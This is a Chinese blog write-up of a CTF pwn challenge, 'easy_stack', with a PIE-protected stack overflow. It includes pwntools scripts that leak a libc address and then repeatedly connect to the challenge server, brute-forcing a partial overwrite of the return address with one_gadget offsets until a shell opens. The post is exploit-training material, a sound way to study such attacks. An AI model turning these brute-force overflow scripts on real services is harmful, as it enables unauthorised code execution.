当前位置:首页 > SAFE > 正文内容

[栈溢出]PIE保护下onegadget提权与libc地址爆破

Luz2年前 (2020-03-16)SAFE1569

image.png

image.png

题目只给了一次输入机会 

栈溢出点在136位之后

之后有个puts函数可以泄露一点栈上的东西

在本地调试

image.png

溢出返回位于libc领空


本地调试使用的libc与服务器不一样

查看本地libc 中__libc_start_main+235 是什么东西

image.png

是__libc_start_main+235函数的后部 退出函数


泄露一下远程服务器的返回地址

#coding:utf-8
from pwn import *
#context.log_level = 'debug' 
p=remote("nc.eonew.cn",10004)
p.sendline('a'*136)
p.recv(136)
addr=u64(p.recv().ljust(8,'\x00'))
print hex(addr)
p.interactive()


image.png

结尾是b97的libc地址

查看题目所给的libc,结合本地调试经验,从__libc_start_main函数下手

image.png

也是这几句指令

同样在libc上

由于程序开启PIE,且只有一次输入机会,我们没有机会劫持控制流进行代码复用

找了几个onegadget尝试爆破

one_gadget_addr=0x10a38c
one2=0x4f2c5
one3=0x4f322

三个onegadget选择一个

只有后三位是确定的,而前几位只能爆破

#coding:utf-8
from pwn import *
vsyscall=0xffffffffff600000
#context.log_level = 'debug' 
i=1
while(1):
	one_gadget_addr=0x10a38c
	one2=0x4f2c5
	one3=0x4f322
	libc_base=-0x4f440
	#p=process("/root/桌面/./easy_stack")
	p=remote("nc.eonew.cn",10004)
	#attach(p,"b puts")
	#p.sendline('a'*136+'\xb0\x1a')
	p.sendline('a'*136+'\xc5\xf2\x14')
	#p.sendline('a'*136+'\x22\xf3\x04')
	#p.sendline('a'*136+'\x8c\xa3\x10')
	#p.sendline('a'*136+'\xd0\x1a')
	#print 'a'*126
	#attach(p,"b puts")
	p.recv(136)
	addr=u64(p.recv().ljust(8,'\x00'))
	print hex(addr)+'  '+str(i)
	i=i+1
	try:	
		p.recv(timeout=1)
		p.recv(timeout=1)
	except EOFError:
		p.close()
		continue
	#p.close()
	p.interactive()


需要爆破三位十六进制数组,由于服务器每次都会变,脚本干脆不变了,爆破失败程序会退出,当recv()触发EOFerror时认为爆破失败,继续下一轮

最大爆破次数为16^3=4096次


398次爆破成功

image.png



分享给朋友:

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。